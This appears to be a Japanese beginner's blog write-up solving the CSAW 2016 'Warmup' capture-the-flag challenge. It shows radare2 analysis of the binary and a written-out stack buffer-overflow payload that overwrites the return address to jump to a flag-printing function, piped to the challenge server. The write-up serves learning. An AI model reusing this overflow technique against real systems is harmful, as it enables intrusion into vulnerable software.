CSAW2016: Warmup
はじめに
最近CTFはじめました。 こちらにwriteupをまとめていきたいと思う。 更新頻度上げます。
超初心者なので,復習も兼ねてかなり丁寧に書いていきたい.途中でめんどくさくなるかもしれない
ということでCSAW 2016のpwn50をとりあえず取り組んでみた.最初に自分で考えてみて最近本ばっか読んでてバイナリ読めなくなってる他の方の記事を参考にしながら解いていくことにする.
ちなみに,この記事が初心者にもとっつきやすく,詳しく説明してくれていたので参考にさせていただいた.
CSAW 2016: Warmup | Cybersecurity Club @ FSU
50ポイント.baby以下の問題っぽい
$ nc pwn.chal.csaw.io 8000 -Warm Up- WOW:0x40060d >Hello!!!
問題のサーバーに接続すると表示されるWOW:0x40060d
が気になる.何かのアドレスかな....?
試しにパイプでpython -c "print 'a'*100"
とか送ってみたが,表示される謎のアドレスっぽいものは変化しなかった.正直,この時点で詰んでた.
$ file warmup warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped $ checksec --file warmup RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 warmup
配布されているバイナリを見てみると,x86_64 ELFバイナリであることがわかる.
当日は無償版のIDA Demoが64bitバイナリを読めないため,途方に暮れていた.
Radare2というリバースエンジニアリング,バイナリ解析のフレームワークを用いて解析してみる.
よく見ると,最初に表示されるWOW:0x40060d
と同じアドレスにsym.easyがあるのがわかる.
どうやらsym.easyとsym.mainに注目すればよさそうだということがわかってきた.
どんな関数なのか見てみると,
これは前述のWriteupを読んで知ったのだが.EDIレジスタは文字列操作などの際に書き込み先のアドレスを示すポインタとして働く.具体的な用途初めて知った.EDIに代入してるcat_flag.txt
ってのも名前からして大分怪しい.
EDIなどレジスタについては以下のリンクを参考にした.
The Art of Picking Intel Registers
以上より,何か入力を与えてBOFさせ,処理を0x40060d
にリダイレクトさせろってことなんだろう.
それを踏まえてこれからmainを見ていくことにする.
objdumpで見たときとはえらい違いである.読みやすい.r2しゅごい.
最初にrbpがpushされ,rbpにrspが代入されている.
そのあとrspが0x80分だけ引かれ,スタックが積まれていく.ってな感じでプログラムが進んでいる.
0x0040069e
でgetsが呼ばれているが,これはユーザーの入力を受け取る関数である.ここをBOFさせてリターンアアドレスを書き換えてやる.
今積まれているスタックはrbpから0x40バイトで,rbpは64bitなので0x8バイト.つまり0x48バイトの入力値のあとにリターンアドレスを書き換えてあげれば良い.
こんな感じ.
$ python -c "print 'a'*0x48 + '\x0d\x06\x40\x00\x00\x00\x00\x00'" | ./warmup -Warm Up- WOW:0x40060d >cat: flag.txt: No such file or directory Segmentation fault (core dumped)
なのでこれを送ってあげれば良い.
$ python -c "print 'a'*0x48 + '\x0d\x06\x40\x00\x00\x00\x00\x00'" | nc pwn.chal.csaw.io 8000 -Warm Up- WOW:0x40060d >FLAG{LET_US_BEGIN_CSAW_2016}
最後に
あまりツール群詳しくないので初めてr2を使ったのだが,見やすい.
ドキュメントもあったみたいなので,チュートリアル見ながらうまく使えるようになっていきたい.